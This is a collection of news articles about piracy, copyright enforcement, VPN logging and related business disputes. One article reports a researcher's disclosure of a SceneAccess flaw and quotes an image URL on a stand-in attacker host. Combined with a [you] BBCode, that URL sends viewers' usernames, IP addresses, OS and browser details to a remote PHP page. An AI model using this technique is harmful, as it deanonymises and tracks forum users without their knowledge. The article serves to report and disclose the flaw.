Author: Andy

Cinemas in many countries are today subjected to high levels of security, meaning that getting a camcorder into a venue and recording a whole movie can prove an extremely difficult task for pirates.

Over the years several ingenious ways have been found to deal with these problems and pirates are often able to record a movie and its audio at the same time. However, to get the best possible result it’s often better to record the video and the soundtrack separately.

For example, in Russia where theater security is less tight, it might be possible to record the whole movie at once. However, a Russian language soundtrack is of much less interest globally than an English one. This means that to reach the greatest audience, pirates need to find an English audio source too.

As our article last week revealed, audio can be obtained from a number of sources, not least US-based drive in cinemas. However, since audio recording devices are more easily hidden from theater staff than cameras, recordings can be made almost anywhere.

Today, however, the Federation Against Copyright Theft is reporting that at least one English language soundtrack of a major movie won’t be hitting the Internet anytime soon following the arrest of two individuals in the north of the UK.

The men, aged 19 and 44, were arrested by Northumbria Police last Thursday following a screening of “The Divergent Series: Allegiant” at the Empire Cinema in Sunderland. Following the performance it’s reported they were found in possession of an unauthorized audio recording of the movie.

According to FACT the arrests follow an investigation which involved the film’s producers, distributors, and the Motion Picture Association. Perhaps of most interest is the revelation that three previous unauthorized recordings had already been made in the same cinema. Investigators love patterns.

Although not mentioned by FACT in connection with this case, audio can be watermarked in the same way video can. This allows investigators to match audio recordings back to a specific cinema. It seems likely that watermarking played a key role in this case.

The men have been released on bail pending further inquiries. The terms of their release include an agreement not to visit any cinema in England and Wales.

Source: TF, for the latest info on copyright, file-sharing, torrent sites and ANONYMOUS VPN services.

In common with other countries around the world, Australia envisions a multi-point process to tackle the issue of online piracy.

The first was a so-called “three strikes” warning scheme that would see regular Internet users monitored by anti-piracy companies and then sent escalating warning notices by their respective ISPs. After years in the planning the system was found to be too expensive and has now been shelved.

In parallel, copyright holders have sought to have pirate sites blocked at the ISP level and after new legislation was passed last year, the process was expected to become more streamlined. Today the first cases landed in Federal Court to test out the system for the first time.

Two industry players are leading the charge, with Roadshow Films (the movie division of Village Roadshow) and TV giant Foxtel both seeking to have several pirate sites blocked at the ISP level. The latter wants to render The Pirate Bay, Torrentz, isoHunt and TorrentHound inaccessible in Australia while the former is targeting streaming portal Solarmovie.

Perhaps needless to say, things haven’t been as straightforward as the entertainment companies might have liked.

Part of the blocking process requires that the copyright holders contact the sites in question to inform them that an application has been made. However, due to the existence of dozens of mirrors, clones and proxies (which only exist due to blocking action in other regions) that process has been both labored and fruitless.

Representing both Foxtel and Roadshow is veteran piracy case lawyer Richard Lancaster who also represented iiNet in the long-running and recently ended case against Dallas Buyers Club.

Lancaster told the Court that more than sixty sites need to be addressed to block the handful of key domains in the action yet only two-thirds of them have been reachable by letter. None of the sites responded.

“[For some of the sites] there’s no obvious or indeed unobvious mechanism for getting in touch with the operators of the sites, but we have sent notification letters out to 43 of the 61 domain names that have been identified in the pleadings,” he said.

Also at issue is proving to the Court that the sites being targeted have a primary purpose to infringe copyright. According to counsel for the applicants, that will be achieved by providing screenshots of each of the domains being targeted.

However, since there is zero chance of the owners of the sites turning up to defend themselves, there will be no adversarial process over what the Court is shown.

Furthermore, none of the 50 ISPs cited as parties in the case will mount a defense against the applications so barring any unforeseen circumstances the blocks will eventually become reality. Nevertheless, there are technical issues to be ironed out and some of those were aired in Court today.

For their part the ISPs would like to block the sites in question by interfering with their DNS systems but it appears that Foxtel and Roadshow Films would prefer the blocking of URLs and IP addresses. Additionally, Foxtel would like to add more IP addresses if sites seek to evade a block, which could be a problem with at least one ISP.

“We wish to seek to negotiate an arrangement for DNS blocking. If [Foxtel] were pushing for a broader blocking mechanism that might be an issue,” said counsel for Internet provider TPG.

While agreement will eventually be reached, both sides acknowledged the need for these first two cases to be dealt with in a manner that will build an efficient and cost-effective framework for future applications.

“This will be the first of several proceedings, and we really want to establish best practice from the outset,” counsel for ISP Optus said.

“We are concerned and ISPs are concerned that the orders in this case provide a template for the future,” Foxtel’s counsel added.

“We expect that will be done by careful consideration in the proceedings and by an eye for efficiency in future proceedings.”

The next date of note is May 6, when the copyright holders and ISPs return to Court having attempted to iron out their differences on the technicalities of blocking. That is surely only a matter of time and perseverance.

When the blocks are eventually put in place, future visitors to blocked sites will be greeted by a special landing page that will inform them of the existence of a court order. Those landing pages will be hosted by the studios so they will be able to track the number of visitors to the site and even their IP addresses.

Source: TF, for the latest info on copyright, file-sharing, torrent sites and ANONYMOUS VPN services.

Founded ten years ago by Rick Falkvinge, over the years the Swedish (and first) Pirate party grew into a considerable political movement.

Against what some believed were insurmountable odds, Pirates were even able to put their representatives into the European Parliament, where German politician Julia Reda has been a Member since 2014.

While local variants continue to ebb and flow elsewhere, over in Iceland there’s an intriguing situation playing out which has seen the Pirates transform from fresh-faced upstart to political powerhouse.

In 2013 (and after just a few months of existence) the Icelandic Pirate Party picked up a notable 5.1% of the vote, meaning that the party entered the national government with three Members of Parliament. But now, just three years later, a dramatic situation is playing out.

According to the results of a new poll published Friday, the Icelandic Pirate Party now appears to count on the support of a staggering 38.1% of the population. To put that into perspective, that means that if elections were held today, the party would leap from the three seats it currently holds to a massive 26 seats.

While all survey results should be received with caution, if these figures can be maintained it means that the Pirates would oust the incumbents to become the most significant player in the country’s parliament.

The survey, carried out by 365 Media, found that The Independence Party
is roughly maintaining the 27.6% of the vote it achieved in the 2013 elections. However, The Progressives have dropped from 24.4% to 12.8%.

If that prediction plays out the two parties combined would plummet from the 63 seats they currently hold to just 27, meaning that if people went to the polls today the parties would lose their parliamentary majority.

In fact, as the Grapevine frames it, not only are the Pirates now the country’s largest political party, but no two-party ruling coalition could be formed in Iceland without including the Pirates.

Typically, however, the Icelandic Pirates are taking the latest poll results in their stride. Instead of the unbridled celebrations one might expect, they’re remaining ever level-headed.

“I just do not know. I do not judge it,” says “shocked” Pirate MP Helgi Hrafn Gunnarsson.

While the Pirates are exercising caution, the pattern seems clear. In early 2015 the party was predicted to take 23.9% of the votes, a figure that had swelled to 34.2% last October.

Nevertheless, there is still a way to go. Elections don’t take place until 2017 and the party has already made it clear that it is seeking change rather than the ability to take power.

“We don’t really want to govern, but rather have the system working as a whole where everyone in it has responsibility for their actions,” Pirate MP Ásta Helgadóttir previously told TF.

Source: TF, for the latest info on copyright, file-sharing, torrent sites and ANONYMOUS VPN services.

On a very basic level torrent sites come in two flavors. On the one hand there’s public sites such as KickassTorrents and Pirate Bay, on the other there are closed communities that tend to stay out of public view.

These closed communities are known as private trackers and they’re often difficult to gain access to. This is supposed to enhance their security and in many cases indeed does but problems do exist as today’s news illustrates.

Several weeks ago TorrentFreak was contacted by a security researcher who proposed that we write an article on how law enforcement would be able to uncover crucial information about the operators, staff, uploaders and users of one of the most well-known private trackers.

Several days later our tipster, who told us he has worked in website security for many years, said that he’d managed to exploit a flaw in the tracker to extract sensitive information about its users.

“I can identify a user to an IP address. This is useful against owners/staff and uploaders. If I worked for a government organization, I could target the owner of the IP to hand over data,” he explained.

“Also I am able to gather browser (and its version) and operation system. If they are running vulnerable versions, [an attacker] could try to target them.”

At this point the security worker declined our request to identify the site since there was no simple way he could inform them of the issues without risking his membership. However, he was prepared to explain how the exploit worked.

“The website uses BBCode for forums and private messages (to bold things, insert emoji, and photos),” he explained.

“One of the BBCodes this site uses is [you]. If you place this in a forum or a private message it will insert the user’s logon name, that is viewing the page. If my username was ‘Randomusername’, and someone sent me a private message saying ‘Hello [you]!’, when I opened it, the BBcode would translate to ‘Hello Randomusername!'”

While this sounds harmless enough, there’s a real sting in the tail. According to the researcher he was able to set up a remote system on a server under his control to extract IP addresses and other information of the people who read postings formatted in this fashion.

“When you add [you] on the end of an image, you get something like this http://myevilsite.com/photo.php?u=[you].jpg. On this PHP page [on a remote site], you generate a transparent 1 pixel x 1 pixel image. But as it is PHP, you run commands to gather the IP address, gather the OS, and gather the browser and version [of the person viewing it],” he explained.

“When people viewed the page, they didn’t know that a tiny image was stealing their information.”

And it appears he did manage to extract a considerable amount of sensitive information.

“The next part was how to get the maximum amount of viewers of my transparent PHP image. So I decided to post in various forums. I also messaged staff and uploaders directly. Once these people viewed the post/message, it would load the transparent image, and I would store all of the above information, which mapped back to their username on the site,” he explained.

Weeks passed by without TF hearing anything further and without knowing the name of the site we decided to sit on the information. But then, more than a month after first contact we were contacted again, this time with information that confirmed the affected site was popular private tracker SceneAccess.

Part of the code used to extract the data

In the interests of security, TorrentFreak immediately contacted the site’s staff and informed them of the problems before anyone else could carry out the same exploit. The disclosure would also given the site the opportunity to advise its members of the flaw but at this point it’s unclear whether it has done so.

Although one can’t be sure that the exploit hadn’t already been discovered by someone else, the researcher who contacted us didn’t appear to have any malice towards the site and expressed no intention of doing anything bad with the data.

“I am into web application security and I naturally check for ways that could compromise the sites I use. I have done this for my company, my banks and even my torrent sites. I also teach a website hacking class, pretty regularly,” he explained.

However, the researcher claims that he did manage to get a lot of data which attached usernames to IP addresses, including those of staff and uploaders. It’s not clear how many had taken precautions to hide their identities on site but the researchers feels not all of them did.

“From my data not all of them are using VPNs or seed boxes,” he said.

As can be seen from the somewhat intentionally blurry, heavily redacted and incomplete screenshot below, the database compiled by the researcher is considerable and includes sensitive details of uploaders and staff members.

Some of the data extracted from the site

While the vulnerability is easily fixed, the researcher says that other private trackers using the same feature could also be prone to having data extracted in the same manner.

“Typically the [you] BBCode wouldn’t be a vulnerability on any average site. But on a private site, that does questionable things, it turns into a vulnerability. I do not know if anyone else has implemented the [you] BBCode, but I do know that it is specifically on the ‘NOT going to happen’ list on TorrentBytes,” he says.

Of course, the limited numbers of people on private trackers means that there is less chance of something like this being exploited. Also, the invite systems on private sites go some way to keeping undesirables out. However, as the researcher notes, these systems aren’t watertight.

“Members get invites that they can give or sell to other people. Even though selling is against the rules, people still do it and someone really looking to take them down, wouldn’t mind spending a couple of bucks,” he concludes.

Source: TF, for the latest info on copyright, file-sharing, torrent sites and ANONYMOUS VPN services.

With monitoring and spying now a fact of life on the Internet, millions of privacy conscious individuals have taken to protecting their online identities. Many choose to do so by using companies that offer a Virtual Private Network (VPN) service.

In layman’s terms a VPN replaces the user’s IP address with one under the control of the company, meaning that their own IP is kept private when accessing services online. However, some VPN companies carry extensive logs which mean that when put under pressure they are able to link a user’s account to specific online activity.

This kind of setup is clearly self-defeating from a privacy perspective so in recent years it has become common for VPN providers to disclose their logging practices, as detailed in our annual report, for example.

But still, the big question remains: how can a prospective customer be sure that their VPN provider really keeps no logs? In reality the answer to that question is largely a matter of trust, weighed up against the goodwill the company has built up over its time in business.

That being said, an interesting case that appeared in a Florida district court this week has seen one provider’s no-logging policy being officially tested.

The criminal complaint (here) details the FBI’s suspicions that 25-year-old Preston McWaters had conveyed “false or misleading information regarding an explosive device”. In other words, he made a false bomb threat.

The investigating FBI agent goes into some detail on the case, which begins with claims that McWaters stalked former co-worker Devon Kenney by calling her, texting her, sending her messages on Facebook and showing up at her house. In all, it’s estimated that McWaters contacted his former co-worker more than 100 times.

In December a number of hoax bomb threats were sent to a variety of locations including schools and airports, generally in the name of Eric Mead or a variation thereof, via Twitter and email. Eric Mead is the name of Kenney’s current boyfriend and he denies making any of the threats.

So the FBI started digging and in February 2016 two search warrants against Twitter and Facebook required them to turn over information on several accounts. Both did and the criminal complaint makes it clear that the FBI believes that McWaters was behind the accounts and the threats.

With McWaters apparently leaving incriminating evidence all over the place (including CCTV at Walmart where he allegedly purchased a pre-paid Tracfone after arriving in his own car), the FBI turned to IP address evidence available elsewhere.

“During the course of the investigation, subpoenas and search warrants have been
directed to various companies in an attempt to identify the internet protocol (IP) address from where the email messages are being sent,” the complaint reads.

“All of the responses from [email provider] 1&1, Facebook, Twitter, and Tracfone have been traced by IP address back to a company named London Trust Media [doing business as] PrivateInternetAccess.com.”

By this point in the complaint it’s clear that even without the IP address information the FBI already had enough evidence to pin the threats on McWaters. Nevertheless, they ordered PIA to hand over its logs.

“A subpoena was sent to London Trust Media and the only information they could provide is that the cluster of IP addresses being used was from the east coast of the United States,” the FBI’s complaint reads.

“However, London Trust did provide that they accept payment for their services through credit card with a vendor company of Stripe and/or Amazon. They also accept forms of payment online through PayPal, Bitpay, Bit Coin, Cash You, Ripple, Ok Pay, and Pay Garden.”

In the event the FBI was unable to link McWaters to any payment to the company. However, they did find a payment to another provider.

“Although the investigation has not revealed any payment by McWaters to London Trust, he did make a purchase from AnchorFree Inc [HotspotShield VPN] on October 23, 2015,” the complaint notes.

While McWaters is yet to be found guilty, it’s a sad fact that some people will use anonymizing services such as VPNs, pre-paid phones and anonymous email providers to harass others. And thankfully, as this case shows, they’ll need to hide a lot more than their IP address to get away with that level of crime.

Nevertheless, there are plenty of decent people using services like PIA’s and those users will be comforted that their privacy remains intact.

“Our company was subpoenaed by the FBI for user activity logs relating to this matter,” London Trust Media Executive Chairman Andrew Lee informs TorrentFreak.

“After scrutinizing the validity of the subpoena and confirming it, we restated as we always do the content of our privacy policy and then we notified the agent that we do not log any user activity. The agent confirmed his understanding of our company’s policy and position and then pursued alternative leads.

“This report makes it clear that PIA does not log user activity and we continue to stand by our commitment to our users.”

—

Disclosure: PIA is a TorrentFreak sponsor

Source: TF, for the latest info on copyright, file-sharing, torrent sites and ANONYMOUS VPN services.

Earlier this week a leading Australian anti-piracy outfit announced a rebranding exercise. Previously known as the IP Awareness Foundation (IPAF), the Hollywood affiliated group became Creative Content Australia, a name more closely associated with the support of artists.

At the same time the group announced several additions to its upper management, including the appointment of Graham Burke as chairman. Burke is the co-chief of Australia-based movie giant Village Roadshow and his aggressive stance towards piracy Down Under has been notable in recent years.

However, this week Creative Content Australia said its upcoming anti-piracy scheme would be education-based and would seek to target more casual downloaders. Re-educating hardcore pirates is not its aim, the group said. So does it necessarily follow that other file-sharers will be getting a free pass? Apparently not.

In an interview published by Crikey today (subscription), Burke (wearing his Village Roadshow hat) said that his company could take legal action against pirates in the future.

Noting that his company is already monitoring people sharing Village Roadshow content via peer-to-peer networks, Burke confirmed that his company could go down the legal route to identify pirates.

“It’s something we’re having a closer look at,” he said.

Given the recent failure of the Dallas Buyers Club case in Australia it was widely believed that Aussie companies would stay away from trying to mass identify pirates through the courts. However, Burke suggests that Village Roadshow would take a more considered approach.

“If we were to pursue it, we’d be doing it on the basis of a fair and reasonable approach. I think [Dallas Buyers Club] have a different approach,” he said.

According to the Crikey report Burke wouldn’t be drawn on when any case might be launched, instead noting that the option was “under active consideration”. That being said, Burke’s comments will come as a surprise to those who recall remarks he made during the summer of 2014.

“We don’t want to sue 16-year-olds or mums and dads,” Burke said. “It takes 18 months to go through the courts and all that does is make lawyers rich and clog the court system. It’s not effective.”

Perhaps the movie boss has something cheap, quick and effective up his sleeve now. If he has he could license it to Dallas Buyers Club, whose case enjoyed none of those qualities.

Source: TF, for the latest info on copyright, file-sharing, torrent sites and ANONYMOUS VPN services.

While some great things happen on the platform, Kickstarters aren’t widely covered here on TF. There are an awful lot of them and most in our niche rarely grow into anything noteworthy.

Today, however, we’re going to make an exception because if this particular project takes off, it’s going to blow up – probably in the most spectacular way.

“What if you had an unlimited access to the LARGEST ONLINE MOVIE LIBRARY EVER? A community based library, where you could watch any movie online. A library where you could swap films with contributors all over the world and discover an infinite number of stories. This is the revolutionary idea behind MovieSwap,” the Kickstarter begins.

MovieSwap, should it get off the ground, will be a subscription service, presumably a little like Netflix. However, instead of teaming up with studios and distributors to offer content, MovieSwap intends to take the idea of swapping a physical DVD with friends to its logical, Internet-powered conclusion.

Noting that more than 25 billion DVDs have been sold in the past 15 years, MovieSwap wants to take this dying format and breathe new life into it.

“Because people already PAID for them, we invented a fair way to give [DVDs] a brilliant second life,” the promo material reads. But how? Well, this is where it gets interesting.

MovieSwap says it will collect millions of genuine DVDs from all over the world and register them with the service on behalf of their owners. The team claims to already have 200,000 in its warehouse.

Once in their possession, MovieSwap will digitize/rip the DVDs and place them in the cloud for members to play on any device, anywhere. But that’s not all.

“Then, just like you can legally lend, swap, or offer a DVD to a friend, MovieSwap works in the same way, but on a much larger scale thanks to its remote playback technology,” the team says.

“Additionally, users can get the full DVD experience including bonuses, deleted scenes, director’s commentaries, and other unique features not available when streaming videos online.”

According to the MovieSwap team, the service will be available on PC, Mac, Android tablets and even on a Firestick-style HDMI Android dongle. Interestingly the PC version will utilize VLC Media Player to read DVDs “over the Internet”, with VLC’s president Jean-Baptiste Kempf already on record as financially backing the project.

Hats off to the MovieSwap team for having the guts to put together something as innovative as this. It’s not only a brilliant use for a dying format but also an excellent way to make use of already-paid-for content that people have lying around their homes. There’s no doubt that the public will absolutely love this service.

Trouble is, Hollywood will hate MovieSwap in similar measures and at the first opportunity will begin torching it to the ground.

Somehow, however, MovieSwap insist they’re on solid ground. They have an intellectual property graduate on board and they believe that their business model is entirely legal.

“MovieSwap is also strongly advised and based its approach on a fully legal basis, combining two legal concepts known as ‘first sale doctrine’ and ‘fair use’,” they state.

At the moment MovieSwap has a 35,000 euro funding goal and at the time of writing they’re only 5,000 euros short. While that might be enough to get them off the ground, it won’t be enough to fight an even moderately bitter fight with Hollywood, even if they were to spend all of it on lawyers.

This seems like a classic case of brilliant minds running wild in order to create a service that everyone will love, but also one that’s a prime candidate for a messy legal battle that enriches only the lawyers. This is definitely one to watch, in every sense of the word.

The Kickstarter can be found here.

Source: TF, for the latest info on copyright, file-sharing, torrent sites and ANONYMOUS VPN services.

Straightforward availability of content is often cited as a reason for people pirating content. Whether it’s geo-locked movies on Netflix or TV shows premiering in the United States before less lucrative markets, reasons for obtaining content without permission begin to pile up.

One of the main availability issues is caused by theatrical windowing, the period in which the latest blockbusters play exclusively in theaters before hitting consumer platforms. During these weeks and months the public is expected to head off to the cinema and pay relatively large sums of money to watch the movie in the company of hundreds of others, or go without.

While this is an attractive proposition to millions of people every year, others prefer to enjoy content in their own homes but during the theatrical window there is only one way to do that and it involves breaking the law. However, if Napster co-founder Sean Parker has his way, watching first-run movies without leaving the couch might soon be an option.

According to Hollywood sources, Parker is currently working on a new project which will offer brand new movies in the home on the date they’re released in cinemas.

Called Screening Room, the project envisions the installation of a special set-top box in the home for a not unreasonable $150. However, when consumers want to watch a movie they will have to shell out $50 for the opportunity to view it once during a 48 hour period.

For the single person at home or those on a date, $25 to $50 each sounds like a lot of money. That being said, throw in a family with a few kids or a bunch of friends on a Saturday night, all of a sudden it’s much less than $10 each which is an altogether more interesting proposition.

Also on the upside is the avoidance of the other ancillary costs associated with visiting a theater. There’s no fuel to reach the location, no parking charges, no expensive food and drink, and no expensive movie memorabilia to spend money on. In fact, the more one thinks about it, the better value $50 sounds.

Of course, while all this money saving might be good for the public it sounds bad for theater chains. However, Screening Room is said to have a solution. According to a Variety report the company might be prepared to cut exhibitors in on the deal, handing them up to $20 per screening. Furthermore, customers who pay $50 to watch at home would then get two free tickets to watch the movie in the cinema, a clear opportunity to make some money on top.

Needless to say, distributors will also demand a cut and it’s being reported they would receive a 20% share of the $50 outlay. For their part, Screening Room is looking at taking just 10% ($5) from each viewing.

While still in the early stages of development, it’s reported that Screening Room representatives have been meeting with all the major studios with Universal, Fox and Sony showing a lot of interest. According to sources, the company is close to doing a deal with AMC.

But not everyone is happy, far from it. According to comments made to Deadline by a pair of major studio distribution executives, Screening Room’s proposals are of huge concern.

“This news is so damaging, I can’t tell you right now how unhappy I am,” said one.

Another expressed a more apocalyptic view.

“It would be the beginning of the end, and half of the theaters in this country would close,” he said.

So, on the one hand sits Screening Room, with plans to fill a huge gap in the market while disrupting it significantly. On the other sits some frightened industry players who see the fledgling company as the modern equivalent of the Betamax Boston Strangler.

At home sit hungry consumers, some looking to outlay $50 per shot and others wondering if the incoming movies will be easy to copy. Apparently Screening Room has secure anti-piracy technology in place – but they all say that, don’t they?

Source: TF, for the latest info on copyright, file-sharing, torrent sites and ANONYMOUS VPN services.

The IP Awareness Foundation (IPAF) is one of Australia’s key anti-piracy groups and has some serious heavyweight backing. Supporters include the Motion Picture Association, which counts all of the major Hollywood studios as members. That alone is enough to shape anti-piracy policy Down Under.

IPAF has produced a number of reports over the years, most recently one which concluded that piracy is actually decreasing in Australia.

But while progress is certainly being made, IPAF is already planning the next stages of its campaign and that begins today with a rebranding exercise and the placement of new management figures.

“The IP Awareness Foundation, the film and television industries’ peak body for the
promotion of copyright, creative rights, piracy research and education resources, has rebranded as ‘Creative Content Australia’,” the group announced.

In addition to adopting a softer and more consumer-friendly name, Creative Content has also made three new appointments, each of them heavyweights in their own field.

First up is Graham Burke, Co-Executive Chairman and Co-Chief Executive Officer of movie outfit Village Roadshow. Burke, who is perhaps the most outspoken individual in Australia on the issue of Internet piracy, will take on the position of Chairman.

Also jumping on board are Damian Keogh, CEO of Hoyts Group, a cinema giant operating 400 screens across Australia plus DVD and Blu-ray rental machines in 650 locations. He will be joined by Jo Bladen from Walt Disney Studios.

“The aim of our organization has always been to contribute to a more informed debate about legal access to film and television content,” says Creative Content Australia’s Executive Director Lori Flekser.

“Graham, Damian and Jo, along with our existing board members, are passionate about promoting the value of copyright. They are invaluable advocates of Creative Content Australia’s research, educational resources and consumer awareness campaigns. While we are starting to see a change in attitude towards piracy, there is still much work to be done.”

The adoption of the word ‘creative’ mirrors similar initiatives in both the United States and United Kingdom, where aggressive anti-piracy rhetoric targeting the consumer is slowly being replaced by softer tones which place more emphasis on supporting artists and other creators.

Incoming Chair Graham Burke says that changing the way the industry offers content will help that process to develop.

“[Our] research finds that Australians say they are now much more aware that the industry is increasingly making more movies and TV shows available in a timely and affordable way, and I’m looking forward to seeing Creative Content Australia produce new consumer campaigns to highlight the benefits of accessing content legally, as opposed to the great damage caused to our creative industry by piracy,” Burke says.

But despite the softer tones, it might prove difficult for Burke to completely abandon his previously aggressive stance. He has a core belief that pirates need to be held accountable and that pirating individuals are responsible for fueling crime. Indeed, comments to Forbes suggest that he still holds that belief, but that education rather than punishment might be the way forward.

“Some people have not considered that piracy is just plain wrong but when they understand it is not a victimless crime and other people will lose their jobs, they stop,” he said.

“Additionally these people are not aware they are part of a criminal underbelly with sites that carry advertising for gambling with no age limit, party drugs, hard core pornography and prostitution, as well as exposing themselves to nasty viruses.”

It seems the campaign to begin educating the masses could start as early as this summer but interestingly (and in common with campaigns in the US and UK) not much time will be spent on hardcore pirates.

“We are working out who to target: vulnerable people who are dipping in and out of piracy, those who are on the edge, or people who can’t resist the urge to get something for nothing,” says Creative Content Australia executive director Lori Flekser.

“We won’t target persistent pirates because only punishment or the threat of punishment will rein them in. This will be our most far reaching campaign. Graham has garnered enormous industry support to ensure the campaign plays out on the widest possible level.”

Only time will tell how the campaign will shape up but one thing is guaranteed. The entertainment industries – movies companies in particular – need to step up their game. The belief among Australians that they are being treated as second-class consumers on the world stage has not gone away and cracking down on their Netflix habits won’t help that perception.

Source: TF, for the latest info on copyright, file-sharing, torrent sites and ANONYMOUS VPN services.

When an anti-piracy company gets involved in issues that don’t include the protection of copyright, things always feel a little unusual. In this case, however, things have progressed well beyond that.

The story begins back in September 2015 when music meta-data site MusicBrainz received a rather unusual demand from (in)famous anti-piracy company Web Sheriff.

Instead of the baseless legal threats the site often receives when anti-piracy companies confuse it for a pirate site, Web Sheriff asked MusicBrainz to “correct” some data on its artist page for Taio Cruz, specifically his name.

The page lists three names for the artist including Taio Cruz, Jacob Milan Taio Cruz and a less familiar one, Adetayo Ayowale Onile-Ere.

While unusual to Western ears, Cruz has a Nigerian father, a fact celebrated in depth on various Nigerian discussion forums over the years.

Indeed, references to Adetayo Ayowale Onile-Ere can be found on webpages dating back eight years and is variously claimed to have been Cruz’s name at birth. However, according to the Web Sheriff, that is simply not true.

In correspondence seen by TorrentFreak, last year Web Sheriff informed MusicBrainz that it protects the online rights of Cruz including his “on-line security”. The company claimed that a news reporter had erroneously reported Cruz’s name as Adetayo Ayowale Onile Ere “some time ago” and the “error” had gained traction online. Entries on Wikipedia only made matters worse, Web Sheriff said.

Noting that they had been hired to correct all online references to the “bogus name”, Web Sheriff told MusicBrainz that the issue is causing Taio Cruz “unnecessary anxiety” so a “correction” would be appreciated. In principle MusicBrainz founder Robert Kaye agreed, but requested proof of Cruz’s real name.

“If you can provide us with some legal proof that [the name is false], we’ll consider making this change,” Kaye said in a return mail.

Some two weeks later in October 2015, Kaye received more correspondence from Web Sheriff, this time with a copy of a birth certificate said to belong to Cruz. However, Kaye was not convinced of the authenticity of the document, noting that although Cruz’s father is often reported to have been a lawyer, that term is not usually used in the UK.

“With this observation as my motivation, I rang up her majesty’s government to ask how I would go about verifying the validity of a birth certificate. I was told that the UK government could not verify the authenticity of a certificate, but that I could request a copy of the certificate myself since they are public record,” Kaye explains.

Then the bombshell. On November 8, 2015, Kaye received a letter from the government informing him that a certificate with the details he supplied simply does not exist and that his processing payment would be refunded.

Indeed, at least on the surface there does appear to be problems with the document, not least the spelling error in “Chelsea and Wes(t)minster Hospital” and the fact that the National Health Service reports the hospital as opening in 1993, eight years after Cruz was born.

All this leads to the MusicBrainz founder concluding that Web Sheriff sent him a fake and/or falsified birth certificate for a world-famous recording artist.

“This means that Web Sheriff provided us a forged birth certificate in order to accomplish its dirty deeds,” Kaye says.

Intrigued, TorrentFreak contacted Web Sheriff who told us that they acted in good faith.

“For your info, the relevant Birth Certificate was provided to us by the client / principal concerned. We have absolutely no reason to question its veracity (MusicBrainz’s comments notwithstanding),” the company said.

“As such, the posts by MusicBrainz that Web Sheriff ‘… forged …’ the certificate in question are entirely wrong / wide-of-the-mark and we shall, of course, be taking the matter up with them directly as well.”

In all fairness MusicBrainz didn’t accuse Web Sheriff of forgery, only of passing a forged document on, but if the certificate is a fake, one has to wonder what the motivation behind it is. Is it a case of genuinely wanting to correct the facts and making a mess of it? Or is there something more sinister at play?

In any event, faking a UK birth certificate is a criminal offense so Streisand Effect not withstanding, it better have been worth it.

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